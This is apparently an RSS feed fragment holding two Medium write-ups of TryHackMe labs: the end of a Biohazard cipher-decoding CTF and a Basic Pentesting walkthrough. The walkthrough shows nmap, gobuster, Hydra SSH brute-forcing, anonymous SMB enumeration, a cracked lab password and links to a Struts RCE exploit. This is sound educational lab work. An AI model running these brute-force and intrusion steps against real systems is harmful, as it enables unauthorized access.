it helps identify which cipher is being used. Keep in mind, though, <strong>Enigmator</strong> doesn’t support modern ciphers. There’s a reason I chose this website for identification, and you’ll understand why once you try analyzing different platforms. Now, let’s detect which cipher is in use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lI0TiVdeyiX0GaShhVkqhw.jpeg" /><figcaption>[ Engimator ]</figcaption></figure><p>Paste the string into Enigmator, and make sure you select <strong>‘Identify’</strong> under the <strong>Cipher</strong> option. Then click <strong>Identify</strong>, and the results will be displayed as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2frDYtCgD0QdRDo4-U9Pjg.png" /><figcaption>[ Engimator ]</figcaption></figure><p>Enigmator detects that it’s a Polyalphabetic Substitution cipher. Here are some references you can check out:</p><p><a href="https://en.wikipedia.org/wiki/Polyalphabetic_cipher">Polyalphabetic cipher - Wikipedia</a></p><p>You don’t need to understand the entire theory just get a sense of how it works. In our output, the cipher is initially shown as a <strong>Vigenère cipher</strong>.</p><p>Let’s check if this cipher is available on CyberChef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WghtoACQIHfkh_2G8eidYA.jpeg" /><figcaption>[ CyberChef ]</figcaption></figure><p>It’s available in CyberChef! Let’s drag and drop it into the recipe and see what happens:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekbJ8rAnmFxTQA9pr6IlzA.jpeg" /><figcaption>[ CyberChef ]</figcaption></figure><p>In CyberChef, the Recipe section shows an input called <strong>Key</strong>, and the output says <strong>No key entered.</strong> That means we need a key to decode this cipher.</p><p>You might be thinking what if this isn’t actually a <strong>Vigenère cipher</strong>? If it turns out to be another cipher, we’d explore other options. For now, we’ll stick with Vigenère.</p><p><a href="https://www.geeksforgeeks.org/dsa/vigenere-cipher/">Vigenère Cipher - GeeksforGeeks</a></p><p>So now, do you remember the name we found in <strong>/barRoom/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*-29p7SagRuAPz6WkWcLFHQ.png" /><figcaption>/barRoom3757162e3db…/emblem_slot.php</figcaption></figure><p>Now, simply use this name as the <strong>key</strong>, and you’ll get the following result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*_3URdvZDV1BFVKn4qwlsAw.png" /><figcaption>[ CyberChef ]</figcaption></figure><p>So, our shield key was hidden in <strong>/diningRoom/</strong> , and there was an HTML page called <strong>the_great_shield_key </strong>The full path would look like this:</p><p><strong>/diningRoom/the_great_shield_key.html</strong></p><p>Don’t forget to add the <strong>html</strong> extension. Before we grab the <strong>shield_key</strong>, here are some shortcuts to decrypt the cipher more easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMVQMh0fsywpBbopovSBwA.png" /><figcaption>[ boxentriq ]</figcaption></figure><p>There’s a website called <strong>Boxentriq</strong> that can automatically solve ciphers. Here, you can see the cipher was decrypted without providing a key, but we can still extract the key from it. How cool is that? It’s a kind of automated cryptanalysis.</p><p>If you’re curious about <strong>cryptanalysis</strong>, there’s a lot more to explore research it yourself to learn the details. Another useful website for this is <strong>dcode</strong>, which also provides tools to analyze and decode ciphers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTg4dpLjInRdeeyR8luCjw.png" /><figcaption>[ dcode ]</figcaption></figure><p>here is the link:</p><ul><li><a href="https://www.boxentriq.com/code-breaking/vigenere-cipher">Vigenere Cipher Decoder (interactive tool) | Boxentriq</a></li><li><a href="https://www.dcode.fr/vigenere-cipher">Vigenere Cipher Solver - Online Decoder, Encoder, Translator</a></li></ul><p>Now, let’s grab the key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*STlPlbtCZ7MovOACqPcB_w.png" /><figcaption>/diningRoom/the_great_shield_key.html</figcaption></figure><p>Flag captured:<strong> shield_key</strong>!</p><p><strong>2.6.</strong> What is the blue gem flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*IOC-Ffp12dfY9B5rZn7yDQ.png" /><figcaption>/diningRoom/sapphire.html</figcaption></figure><p>The funny thing is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*wU7itXVXWPPHG-Zo1xmQ-g.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><blockquote>we got the <strong>blue gem flag</strong> before <strong>shield_keyyy</strong>!</blockquote><p>So, the next question? did you forget that we already got the <strong>shield_key</strong>!</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; done!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/<br>/studyRoom/   ----&gt; input helemt flag!<br>/armorRoom/   ----&gt; input shield flag!<br>/attic/       ----&gt; input shield flag!</pre><p>Our next destination is <strong>/armorRoom/</strong></p><h4>[ Armor room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jya6REN9qif_fvuKT3-Tng.png" /><figcaption>/armorRoom/</figcaption></figure><p>put the <strong>shield_key</strong> then</p><h4>[ Armor room ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZlPeIdK3RJp46fEVsIOlQ.png" /><figcaption>/armorRoom/547845982c1…/</figcaption></figure><p>We’ve entered the Armor Room, where there’s a hyperlink called <strong>READ</strong>. Click on it, and then:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RH390P_6eOdWwWezpQYxuw.png" /><figcaption>/armorRoom/547845982c1…/note.txt</figcaption></figure><p>Here, we obtained the 3rd crest, which is triple-encoded. The final output is 19 characters long make sure to note it down somewhere. Let’s move on.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; done!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/<br>/studyRoom/   ----&gt; input helemt flag!<br>/armorRoom/   ----&gt; done<br>/attic/       ----&gt; input shield flag!</pre><p>Our next destination is <strong>/attic/</strong></p><h4>[ Attic entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BISBsMCBrnuzFJPeaxpavw.png" /><figcaption>/attic/</figcaption></figure><p>put the <strong>shield_key</strong> then</p><h4>[ Attic ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-OZE4FmgqlfxZ-YZsYZWA.png" /><figcaption>/attic909447f184a…/</figcaption></figure><p>We’re now in the attic, where there’s a hyperlink called <strong>READ</strong>. Click on it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALxdo_2v4NnEnq0YQDGwfg.png" /><figcaption>/attic909447f184a…/note.txt</figcaption></figure><p>Here, we find our final crest, which is double-encoded. The final output is 17 characters long make sure to note it down somewhere. Let’s move on.</p><p>In our done list:</p><pre>/diningRoom/  ----&gt; done!<br>/teaRoom/<br>/artRoom/<br>/barRoom/<br>/diningRoom2F/<br>/tigerStatusRoom/<br>/galleryRoom/<br>/studyRoom/   ----&gt; input helemt flag!<br>/armorRoom/   ----&gt; done<br>/attic/       ----&gt; done</pre><p>Oue next destination is <strong>/studyRoom/</strong></p><h4>[ Study room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqTICl79_IT9dTp-o7Eg3g.png" /><figcaption>/studyRoom/</figcaption></figure><p>Here’s the helmet symbol the <strong>helmet</strong> flag! We need it to unlock this door, but since we don’t have the key yet, let’s leave this page for now. We’ll come back to it later.</p><p><strong>2.7.</strong> What is the FTP username</p><p>We’ve obtained the 4th crest:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tnh2a1AAAeDlaMysv40GA.png" /><figcaption>[ crest ]</figcaption></figure><p>Let’s decode this using CyberChef. I won’t show the entire decoding process step by step, because it’s better if you try it yourself. Follow the hints, take your time, and pay attention to the length of each output.</p><p>During the process, you’ll encounter encodings like <strong>Base64</strong>, <strong>Base32</strong>, <strong>Base58</strong>, <strong>binary</strong>, and <strong>hex</strong>. You can use the <strong>Magic</strong> recipe in CyberChef to simplify your work. Once you decode all of them, combine the results into a single string the final string will be <strong>Base64</strong>.</p><p>Then, decode that final string again in <strong>CyberChef</strong>, and you’ll obtain the FTP username and password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jwJM4iQroYfES8zwuB5shg.jpeg" /><figcaption>[ CyberChef ]</figcaption></figure><p><strong>2.8.</strong> What is the FTP password</p><p>The FTP password was already obtained earlier by decoding the crest.</p><blockquote>We’ve explored the mansion, uncovered secrets, and gathered the first set of clues. But this is only the beginning new mysteries are waiting beyond these walls.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*wQHpphE1hnHasjQL-GuICg.gif" /><figcaption>[ GIF sourced from susanneleist. Rights belong to the creator. ]</figcaption></figure><p>are you ready to step into <strong>The guard house</strong> ?</p><blockquote>Below Part 2 !!!!</blockquote><p><a href="https://infosecwriteups.com/unlocking-the-secrets-my-biohazard-ctf-adventure-part-2-5d8a234f6316">Unlocking the Secrets: My Biohazard CTF Adventure Part 2</a></p><h3>Thanks for coming! Stay curious, stay ethical!</h3><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><p>This challenge was created by <a href="https://tryhackme.com/p/DesKel">DESKEL</a>. Thank you for investing your time and effort to develop it so that I can sharpen my skills!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9e5d4ff13e2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/surviving-the-nightmare-my-biohazard-ctf-adventure-e9e5d4ff13e2">Surviving the Nightmare: My Biohazard CTF Adventure</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Pentesting Walkthrough: Solving the TryHackMe Lab]]></title>
            <link>https://infosecwriteups.com/basic-pentesting-walkthrough-solving-the-tryhackme-lab-235af4cf8d3b?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/235af4cf8d3b</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 16:12:45 GMT</pubDate>
            <atom:updated>2025-09-02T15:53:13.056Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nvRP2O9DnnAmUYUbSL68cw.jpeg" /></figure><p>Hey! I’m <strong>Adwaith</strong>, an aspiring offensive security enthusiast, and I’m excited to share my walkthrough of the Basic Pentesting lab on TryHackMe. diving into brute forcing, cracking hashes, enumerating services, and escalating privileges all the way to root. Click the link below, and let’s get hacking!</p><p><a href="https://tryhackme.com/room/basicpentestingjt">Basic Pentesting</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SnqvFahjBUxmeKJa04bvOw.png" /><figcaption>[ This image and all the theoretical content of the present article is TryHackMe’s property. ]</figcaption></figure><p>Entering the Basic Pentesting lab each clue bring us closer to compromise!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*GISl7HTCZubx4FSfQi3a-g.gif" /></figure><h3>Task 1. Web App Testing and Privilege Escalation</h3><p>This room lets us dive into web app hacking and privilege escalation. Sharpen skills like brute forcing, hash cracking, and service enumeration, explore Linux systems, and uncover hidden directories and misconfigurations along the way. By the end, we’ll gain real, hands-on penetration testing experience.</p><p><em>Answer the questions below</em></p><p><strong>1.1.</strong> Deploy the machine and connect to our network</p><p>No answer needed</p><p><strong>1.2.</strong> Find the services exposed by the machine</p><p>No answer needed</p><blockquote>Let’s find what services are running on the machine</blockquote><pre>nmap -p- 10.201.49.200</pre><p><strong>Command Breakdown:</strong></p><blockquote><strong>-p-</strong> → Scan <strong>all 65535 TCP ports</strong> on the target, instead of just the default top 1000 ports.</blockquote><p>We Discovered <strong>four</strong> open ports!</p><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 15:48 IST<br>Nmap scan report for 10.201.49.200<br>Host is up (0.35s latency).<br>Not shown: 65531 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>80/tcp  open  http<br>139/tcp open  netbios-ssn<br>445/tcp open  microsoft-ds<br><br>Nmap done: 1 IP address (1 host up) scanned in 78.19 seconds</pre><blockquote>The next step is to <strong>gather more information about those open ports</strong>, like what services are running and their versions. That’s where the next command comes in:</blockquote><pre>nmap -sC -sV -p- 10.201.49.200</pre><p><strong>Command Breakdown:</strong></p><blockquote><strong>-sC</strong> → Runs default Nmap scripts for common checks</blockquote><blockquote><strong>-sV</strong> → Detects service versions running on open ports</blockquote><p>The scan result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*f6XVVoKXAZUhZNYIg0Y8OQ.png" /><figcaption>[ nmap scan result]</figcaption></figure><p>Here are the exposed services running on these ports. Before we move on to the next question, let’s take a closer look at these scan results. <strong>SSH</strong> (port <strong>22</strong>) and a <strong>web server</strong> (port <strong>80</strong>) are running, but there are some new services that have appeared. I’m referring to ports <strong>139 </strong>and <strong>445</strong>, which are unfamiliar to me. The scan shows that these ports are running the netbios-ssn service.</p><blockquote>(Samba smbd4) – our script results show some information about <strong>SMB</strong>.<br>I was wondering, what exactly is <strong>SMB</strong>? What does it do, and how does it work? So, I decided to dig into Google and find out!</blockquote><p>Here are some references about <strong>SMB</strong> that you can check out:</p><ul><li><a href="https://www.prosec-networks.com/en/blog/smb-server-message-block-protokoll/">SMB Server Message Block protocol</a></li><li><a href="https://www.techtarget.com/searchnetworking/definition/Server-Message-Block-Protocol">What is the Server Message Block (SMB) protocol? How does it work? | Definition from TechTarget</a></li></ul><blockquote>So, just keep in mind that <strong>SMB</strong> (Server Message Block) is the protocol Windows uses to share files and printers over a network. But it’s not limited to Windows other operating systems like Linux and macOS also support it.<br>Its default ports are TCP <strong>139 </strong>and <strong>445</strong>.</blockquote><p>Another important thing about <strong>SMB</strong>:<br>A misconfigured SMB can allow attackers to enumerate users, access sensitive files, or exploit vulnerabilities like <strong>SMBv1</strong> <strong>EternalBlue</strong>.</p><blockquote><strong>EternalBlue</strong>? It’s an exploit created by the US National Security Agency (NSA) and was also used in the 2017 <strong>WannaCry</strong> <strong>ransomware attack</strong>.</blockquote><p>Interesting, isn’t it? Okay, let’s pause here for a moment I don’t want to messed up things. If you want to learn more about <strong>EternalBlue</strong>, <strong>WannaCry</strong>, or <strong>ransomware attacks</strong>, here are some references:</p><ul><li><a href="https://www.hypr.com/security-encyclopedia/eternalblue">What is EternalBlue? | Security Encyclopedia</a></li><li><a href="https://www.hypr.com/security-encyclopedia/wannacry">What is the WannaCry Ransomware? | Security Encyclopedia</a></li></ul><blockquote>We’ll come back to this later, so let’s move on to the next question…</blockquote><p><strong>1.3. </strong>What is the name of the hidden directory on the web server(enter name without /)?</p><blockquote>Before we start looking for the hidden directory, let’s visit the page to gather some information:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*p653QRT5kgzhYYFEzs9fIA.png" /><figcaption>[ Home page ]</figcaption></figure><blockquote>It shows that the site is undergoing maintenance, so don’t leave the page. Let’s inspect the source:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*N62bCopEHA0NAk5oJM3Ppw.png" /><figcaption>[ Source ]</figcaption></figure><blockquote>We got a hint it mentions a note named <strong>dev</strong>. Let’s move on to find the hidden directory:</blockquote><pre>gobuster dir -u http://10.201.49.200/ -w /usr/share/wordlists/dirb/common.txt</pre><p><strong>Command Breakdown:</strong></p><blockquote><strong>dir</strong> → Tells Gobuster we’re performing a <strong>directory/file scan</strong>.</blockquote><blockquote><strong>-u </strong>→ The <strong>target URL</strong> we want to scan.</blockquote><blockquote><strong>-w </strong>→ The <strong>wordlist</strong> Gobuster will use to try directory and file names.</blockquote><p>Gobuster result :</p><pre>===============================================================<br>Gobuster v3.8<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.201.49.200/<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.8<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 278]<br>/.htpasswd            (Status: 403) [Size: 278]<br>/.htaccess            (Status: 403) [Size: 278]<br>/development          (Status: 301) [Size: 320] [--&gt; http://10.201.49.200/development/]<br>/index.html           (Status: 200) [Size: 158]</pre><blockquote>The hidden directory on the web server is:</blockquote><p>development</p><blockquote>Let’s visit the page for the hidden directory and find out what’s there:</blockquote><p><a href="http://10.201.49.200/development">http://10.201.49.200/development</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*VCk8jXuvCIRAeEoZNMqGPQ.png" /><figcaption>[ development page ]</figcaption></figure><p>There are two files present in the hidden directory: dev.txt and j.txt. We recently saw the name &quot;dev&quot; mentioned when inspecting the homepage, but j.txt is new maybe j is a user? I’m not sure.</p><blockquote>Let’s take a look at what’s inside these files:</blockquote><p>dev.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yyeeX4oEja90tm5sQJjBBw.png" /><figcaption>[ dev.txt ]</figcaption></figure><p>Inside these files, we found some interesting information. They contain names, versions, and notes about SMB configuration something we discovered in the previous scan. I also noticed some names inside the files, like K and J. Let’s open the other file next.</p><p>j.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwyfPGT-yRNe1Veb2SRVkg.png" /><figcaption>[ j.txt ]</figcaption></figure><blockquote>So, let’s move on to the next question.</blockquote><p><strong>1.4.</strong> User brute-forcing to find the username &amp; password?</p><p>No answer needed</p><blockquote>Let’s start a brute-force attack on SSH using those usernames: J and K.</blockquote><pre>hydra -l J -P /usr/share/wordlists/rockyou.txt 10.201.49.200 ssh</pre><p><strong>Command Breakdown:</strong></p><blockquote><strong>-l </strong>→ Specifies the <strong>username</strong> to try (J in this case).</blockquote><blockquote><strong>-P </strong>→ Specifies the <strong>password list</strong> Hydra will use to attempt logins (rockyou.txt).</blockquote><blockquote><strong>ssh</strong> → The <strong>service</strong> we are targeting (SSH in this case).</blockquote><p>J and K results:</p><pre>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-31 16:16:05<br>[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4<br>[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task<br>[DATA] attacking ssh://10.201.49.200:22/<br>[STATUS] 193.00 tries/min, 193 tries in 00:01h, 14344207 to do in 1238:43h, 15 active<br>[STATUS] 200.33 tries/min, 601 tries in 00:03h, 14343799 to do in 1193:20h, 15 active<br>^CThe session file ./hydra.restore was written. Type &quot;hydra -R&quot; to resume session.</pre><blockquote>I tested both usernames through Hydra, but after waiting a long time, I didn’t get anything. Maybe the usernames are misleading, or the passwords are too complex. So, I decided to look for another approach.</blockquote><p>Think about it: our goal is to find the username and password. We’ve gathered information from the webpage and tried SSH brute-forcing, but previously, we found some useful info in the .txt files versions and names. We tried those usernames, and if we look closer, dev.txt mentions:</p><p>apache, REST, Struts 2.5.12.</p><blockquote>I researched this and found the following:<br>Apache Struts is a popular open-source framework for building Java web applications. It helps developers manage web forms, URLs, and responses in a structured way.</blockquote><p>Actually, we found this info in dev.txt, which seems to be developer notes. It also mentions Apache, so now our goal is to find an exploit. I found some resources on ExploitDB and GitHub:</p><ul><li><a href="https://www.exploit-db.com/exploits/42627">OffSec&#39;s Exploit Database Archive</a></li><li><a href="https://github.com/mazen160/struts-pwn_CVE-2017-9805">GitHub - mazen160/struts-pwn_CVE-2017-9805: An exploit for Apache Struts CVE-2017-9805</a></li></ul><blockquote>This exploit is a Remote Code Execution (RCE) vulnerability in the Apache Struts 2.5 (&lt; 2.5.12) REST plugin using XStream. Essentially, it allows an attacker to send a specially crafted request to the server and execute arbitrary commands remotely, giving full control over the target system.</blockquote><p>If you want to learn more about <strong>RCE</strong>, here are some references:</p><p><a href="https://www.bugcrowd.com/glossary/remote-code-execution-rce/">Remote Code Execution (RCE) | Bugcrowd</a></p><blockquote>We were able to gain a shell through it, but I tried exploiting it by sending the crafted request to the webserver:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*HskPOh2RNtYtW-4gd1s3FA.png" /><figcaption>[ exploit ]</figcaption></figure><blockquote>But I didn’t get any response on the <strong>Netcat </strong>listener:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*bBdJB4aKBZb7NC5_UsKpNw.png" /><figcaption>[ netcat ]</figcaption></figure><p>However, we were unable to perform this <strong>RCE </strong>maybe the target is not vulnerable to this exploit. I tried different reverse shell payloads but couldn’t gain access. I even attempted it manually using Burp Suite, but the page was not found. So, I decided to look for another approach.</p><blockquote>I mentioned the reverse shell earlier, so if you want to learn more about it, here are some references:</blockquote><ul><li><a href="https://www.invicti.com/blog/web-security/understanding-reverse-shells/">What Are Reverse Shells? | Invicti</a></li><li><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Reverse Shell Cheat Sheet</a></li></ul><blockquote>So finally, we tried most of the possibilities, but there was one thing we missed: <strong>SMB</strong>.<br> <strong>We talked about this earlier, but we didn’t test it:</strong></blockquote><p>As I mentioned before:<br><em> </em>“A misconfigured SMB can allow attackers to enumerate users, access sensitive files, or exploit vulnerabilities like <strong>SMBv1</strong> <strong>EternalBlue</strong>.”</p><blockquote>First, I tried scanning the <strong>SMB </strong>service to see if it was vulnerable to <strong>EternalBlue</strong>. We can scan it using tools like Nmap or Metasploit, as there are modules available for this. Here are some references to check out:</blockquote><ul><li><a href="https://nmap.org/nsedoc/scripts/smb-vuln-ms17-010.html">smb-vuln-ms17-010 NSE script - Nmap Scripting Engine documentation</a></li><li><a href="https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010/">Rapid7</a></li></ul><blockquote>Those modules can help determine if SMB is vulnerable to the EternalBlue exploit.</blockquote><p>However, in reality, <strong>EternalBlue </strong>only works on SMBv1. Our target is running SMBv2, which means <strong>EternalBlue </strong>is patched, as SMBv2 was released to address this vulnerability.</p><blockquote>It took me a long time and many scans to fully understand this, but now it makes sense.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*7RKb36zM4zQM4ymr1SLYIw.gif" /></figure><p>You might be wondering how we can find anything if we’re scanning <strong>SMBv2</strong>. Take a close look at the Nmap script scan results it mentions , smb2-security-mode and smb2-time.</p><p>Okay, so <strong>SMBv2</strong> is more secure and seems difficult to exploit. But the thing is, while <strong>SMBv2</strong> is more secure than <strong>SMBv1</strong>, vulnerabilities can still exist if the system is <strong>unpatched</strong>.</p><blockquote>I scanned SMB using Nmap scripts:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5DJe5199I9XhYmD1cIEe3w.png" /><figcaption>[ nmap script-scan ]</figcaption></figure><blockquote>I didn’t find anything interesting, so I researched online and found that we can check if the SMB server allows anonymous login. To test this:</blockquote><pre>smbclient -L //10.201.49.200/ -N</pre><p><strong>Command Breakdown:</strong></p><blockquote><strong>-L</strong> → List available shares on the target machine.<br> It shows you what folders/printers the server is sharing.</blockquote><blockquote><strong>-N</strong> → Tells smbclient <em>not</em> to ask for a password (anonymous login).<br> Useful for checking if the server allows guest access.</blockquote><p>For more information about <strong>SMB </strong>client commands, take a look here:</p><p><a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html">smbclient</a></p><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBA8XVbm_35KzZiXziOMeg.png" /><figcaption>[ smb sharenames]</figcaption></figure><blockquote>Here, the results show that anonymous login is allowed! Now I realize that SMB and FTP are quite similar both can allow anonymous access.<br>Let’s try to access it:</blockquote><pre>smbclient //10.201.49.200/Anonymous -N</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1Yupp1zlC8K6a9JFvRBkw.png" /><figcaption>[ smb ]</figcaption></figure><blockquote>There is a file called staff.txt, and I downloaded it to my system. Let’s take a look at what’s inside:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*UczMbSJJA9ep3tylPdwV_Q.png" /><figcaption>[ staff.txt ]</figcaption></figure><blockquote>Now this makes sense. The file mentions two usernames: Jan and Kay. Previously, we only had the clues J and K, which is why our SSH password attacks failed we didn’t have the valid usernames.</blockquote><p>The next phase is to brute-force SSH again, this time using the valid usernames. But before we do that, let me introduce an automation tool that can help dig deeper into SMB. We actually discovered the usernames manually, but with this automated method, you just need to enter the IP and any required parameters for your purpose.</p><pre>enum4linux 10.201.49.200</pre><p>results :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PkMrK8Qf__fF94PT9Hf4DQ.png" /><figcaption>[ anonymous login ]</figcaption></figure><p>It automatically finds anonymous login and attempts to access the server, checking what permissions are allowed for that anonymous login. Another result shows that access to IPC$ is not allowed.</p><blockquote>I also found another interesting result it reveals the users present on the machine:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aHX7chSdThqLnZsCXvSj8A.png" /><figcaption>[ enum users ]</figcaption></figure><blockquote>We successfully enumerated users from SMB. Here they are: Kay, Jan, and Ubuntu. So, we can confirm that Kay and Jan exist on the machine.</blockquote><p>Earlier, I showed the manual method, and now this is the automated way. Which is better? The manual method is faster, but the automated way takes a bit more time while gathering information. However, it allows us to collect more detailed data using enum4linux.</p><blockquote>For more information, check out this cheat sheet it might help:</blockquote><p><a href="https://github.com/irgoncalves/smbclient_cheatsheet">GitHub - irgoncalves/smbclient_cheatsheet: Useful commands/tricks using smbclient/nmap in a pentesting/auditing/redteaming</a></p><blockquote>So, we’ve gathered the usernames let’s start the SSH brute-force.<br> I tried both usernames, but we were only able to find the password for Jan:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivZuMdDSiN91752cIeHNkw.png" /><figcaption>[Jan ssh credential]</figcaption></figure><blockquote>After waiting for a long time, we still didn’t find Kaypassword:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h7dhg67VsnVbs_P7P4yftg.png" /><figcaption>[hydra fail on Kay]</figcaption></figure><blockquote>Let’s try to log in using Jan SSH credentials:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C4SfFUNRjC9JP-CAGZgpLg.png" /><figcaption>[ Jan SSH ]</figcaption></figure><blockquote>We successfully accessed SSH!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*We7x6AIXR_w-caJnaop8Kw.gif" /></figure><p><strong>1.5. </strong>What is the username?</p><p>jan</p><p><strong>1.6.</strong> What is the password?</p><p>armando</p><p><strong>1.7. </strong>What service do you use to access the server(answer in abbreviation in all caps)?</p><p>SSH</p><p><strong>1.8. </strong>Enumerate the machine to find any vectors for privilege escalation?</p><blockquote>I manually enumerated the machine to look for privilege escalation opportunities. While logged in as the Jan user, I didn’t find anything interesting inside:</blockquote><pre>jan@ip-10-201-49-200:~$ ls -la<br>total 12<br>drwxr-xr-x 2 root root 4096 Apr 23  2018 .<br>drwxr-xr-x 5 root root 4096 Aug 31 12:25 ..<br>-rw------- 1 root jan    47 Apr 23  2018 .lesshst<br>jan@ip-10-201-2-46:~$ cat .lesshst<br>cat: .lesshst: Permission denied<br>jan@ip-10-201-49-200:~$ </pre><blockquote>My intention was to go to /home and check which other users exist on this system.<br> There are three user folders present:</blockquote><pre>jan@ip-10-201-49-200:/home$ ls<br>jan  kay  ubuntu</pre><blockquote>Let’s move to Kay and see what’s inside:</blockquote><pre>jan@ip-10-201-2-46:/home$ cd kay<br>jan@ip-10-201-2-46:/home/kay$ ls<br>pass.bak<br>jan@ip-10-201-2-46:/home/kay$ ls -la<br>total 48<br>drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .<br>drwxr-xr-x 5 root root 4096 Aug 31 12:25 ..<br>-rw------- 1 kay  kay   789 Jun 22 13:41 .bash_history<br>-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout<br>-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc<br>drwx------ 2 kay  kay  4096 Apr 17  2018 .cache<br>-rw------- 1 root kay   119 Apr 23  2018 .lesshst<br>drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano<br>-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak<br>-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile<br>drwxr-xr-x 2 kay  kay  4096 